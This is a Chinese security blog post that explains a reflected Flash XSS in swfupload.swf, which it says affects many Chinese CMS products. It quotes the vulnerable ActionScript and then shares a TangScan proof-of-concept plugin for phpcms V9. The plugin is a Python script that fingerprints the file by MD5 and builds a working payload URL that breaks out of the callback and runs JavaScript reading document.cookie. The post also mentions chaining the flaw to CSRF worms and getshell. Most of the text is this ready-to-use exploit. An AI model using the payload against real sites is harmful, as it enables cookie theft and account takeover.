最近看到WooYun-2014-69833报告中对swfupload.swf、uploadify.swf造成的flash xss 分析,由于涉及范围广(国内各大cms厂商,包括但不限于dedecms、phpcms、cmseasy、espcms、phpyun、thinksns、骑士人才系统、phpdisk、国微php168、phpok、kesioncms、pageadmin、xheditor、sdcms、emlog、dtcms等)命中率应该还可以,便给Tangscan提交了几个此类型插件,这里也分享一下代码。
先看下漏洞成因
this.movieName = root.loaderInfo.parameters.movieName;
this.flashReady_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].flashReady");
this.fileDialogStart_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileDialogStart");
this.fileQueued_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileQueued");
this.fileQueueError_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileQueueError");
this.fileDialogComplete_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileDialogComplete");
this.uploadStart_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadStart");
this.uploadProgress_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadProgress");
this.uploadError_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadError");
this.uploadSuccess_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadSuccess");
this.uploadComplete_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadComplete");
this.debug_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].debug");
this.testExternalInterface_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].testExternalInterface");
this.cleanUp_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].cleanUp");
代码可见,从参数(root.loaderInfo.parameters.movieName)中获得movieName后直接赋值到一些callback响应函数中,这些函数是js中执行的内容。我们只需闭合前面的”],再闭合try..catch中大括号},即可执行自己的javascript代码,造成反射型XSS。
因为是flash xss,而且没有过多关键字,所以无视浏览器filter和大部分WAF(因为在前端运行),所以影响较大,轻则越权操作、产生XSS、csrf蠕虫,重则直接getshell(结合某些cms的后台getshell技巧)。
分享下phpcms V9 /swfupload.swf XSS POC
- TangScan-ID:TS-2014-17843
#! /usr/bin/env python
# -*- coding: utf-8 -*-
import md5
from thirdparty import requests
from modules.exploit import TSExploit
class TangScan(TSExploit):
def __init__(self):
super(self.__class__, self).__init__()
self.info = {
"name": "phpcms V9 /swfupload.swf XSS",
"product": "phpcmsv9",
"product_version": "",
"desc": """
phpcms V9 /swfupload.swf XSS
""",
"license": self.license.TS,
"author": ["侦探911"],
"ref": [
{self.ref.wooyun: "http://www.wooyun.org/bugs/wooyun-2014-069833"},
],
"type": self.type.xss,
"severity": self.severity.low,
"privileged": False,
"disclosure_date": "",
"create_date": ""
}
self.register_option({
"url": {
"default": "",
"required": True,
"choices": [],
"convert": self.convert.url_field,
"desc": ""
}
})
self.register_result({
"status": False,
"data": {
},
"description": "",
"error": ""
})
def md5(self, content):
return md5.new(content).hexdigest()
def verify(self):
flash_md5 = "3a1c6cc728dddc258091a601f28a9c12"
exp_url = "{domain}/statics/js/swfupload/swfupload.swf".format(domain=self.option.url.rstrip('/'))
try:
response = requests.get(exp_url, verify=False, timeout=15)
except Exception, e:
self.result.error = str(e)
return
if self.md5(response.content) == flash_md5:
self.result.status = True
self.result.description = "目标 {url} 存在反射XSS, 验证url: {verify_url}".format(
url=self.option.url,
verify_url=exp_url + "?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//"
)
def exploit(self):
self.verify()
if __name__ == '__main__':
from modules.main import main
main(TangScan())